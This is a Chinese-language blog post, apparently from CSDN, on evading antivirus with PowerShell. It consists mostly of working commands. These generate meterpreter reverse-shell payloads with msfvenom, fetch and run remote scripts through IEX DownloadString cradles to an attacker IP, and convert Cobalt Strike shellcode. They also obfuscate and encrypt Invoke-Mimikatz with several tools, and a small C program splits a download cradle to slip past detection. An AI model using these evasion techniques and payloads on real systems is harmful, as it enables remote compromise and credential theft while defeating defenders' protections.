WEB渗透免杀篇-Powershell免杀

 往期文章

 WEB渗透免杀篇-加载器免杀-CSDN博客

 WEB渗透免杀篇-分块免杀-CSDN博客

WEB渗透免杀篇-Powershell免杀-CSDN博客

WEB渗透免杀篇-Python源码免杀-CSDN博客

WEB渗透免杀篇-C#源码免杀-CSDN博客

WEB渗透免杀篇-MSF+shellcode免杀-CSDN博客

WEB渗透免杀篇-Bypass-AMSI-CSDN博客

WEB渗透免杀篇-免杀工具全集-CSDN博客

Invoke-Shellcode

生成code
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f powershell -o /var/www/html/1.ps1
目标执行
> powershell -ep bypass
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/ps/powersploit/CodeExecution/Invoke-Shellcode.ps1')
> IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.108/1.ps1')
> Invoke-Shellcode -Shellcode ($buf) -Force

防护软件没反应

CobaltStrike+Powershell免杀

From: Cobalt Strike Powershell 过卡巴免杀上线 - Y4er的博客

powershell>$string = ''
powershell>$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('[cs生成的shellcode]')
powershell>$s |foreach { $string = $string + $_.ToString()+','}
powershell>$string>c:\1.txt

修改ps脚本

[Byte[]]$var_code = [Byte[]](payload)

再混淆一下函数和变量 绕过执行命令的拦截 使用cs的参数欺骗

beacon > argue cmd.exe blablabla

obfuscation

GitHub - danielbohannon/Invoke-Obfuscation: PowerShell Obfuscator 生成code

>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f psh -o /var/www/html/1.ps1
>powershell -ep bypass
>Import-Module .\Invoke-Obfuscation.psd1
>Invoke-Obfuscation
>set scriptpath C:\Users\y\Desktop\1.ps1
>encoding
>3 #指定编码方式
>out C:\Users\y\Desktop\ok.ps1 #保存

执行

>powershell -ep bypass -noexit -file ok.ps1

PyFuscation

GitHub - CBHue/PyFuscation: Obfuscate powershell scripts by replacing Function names, Variables and Parameters. 对函数，参数，变量进行混淆

>python3 PyFuscation.py -fvp --ps Invoke-Mimikatz.ps1

Out-EncryptedScript

http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1
>Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password shabiisme -Salt 123456

PS > IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.108/ps/powersploit/ScriptModification/Out-EncryptedScript.ps1")
PS > [String] $cmd = Get-Content .\evil.ps1
PS > Invoke-Expression $cmd
PS > $decrypted = de shabiisme 123456
PS > Invoke-Expression $decrypted
PS > Invoke-Mimikatz

Xencrypt

https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1
>Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100 #递归分层躲避动态查杀

>Invoke-Xencrypt -infile .\Invoke-Mimikatz.ps1 -outfile mimi.ps1

拆分+C编译

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://x.x.x.x/a'')'; $Text=$c2+$c3; IEX(-join $Text)");
return 0;
}

行为检测

>powershell.exe -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

直接生成

>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=192.168.0.108 lport=12138 -f psh -o /var/www/html/1.ps1

执行

>powershell -ep bypass -noexit -file 1.ps1

Powershell行为检测bypass

>powershell -noexit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.0.108/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"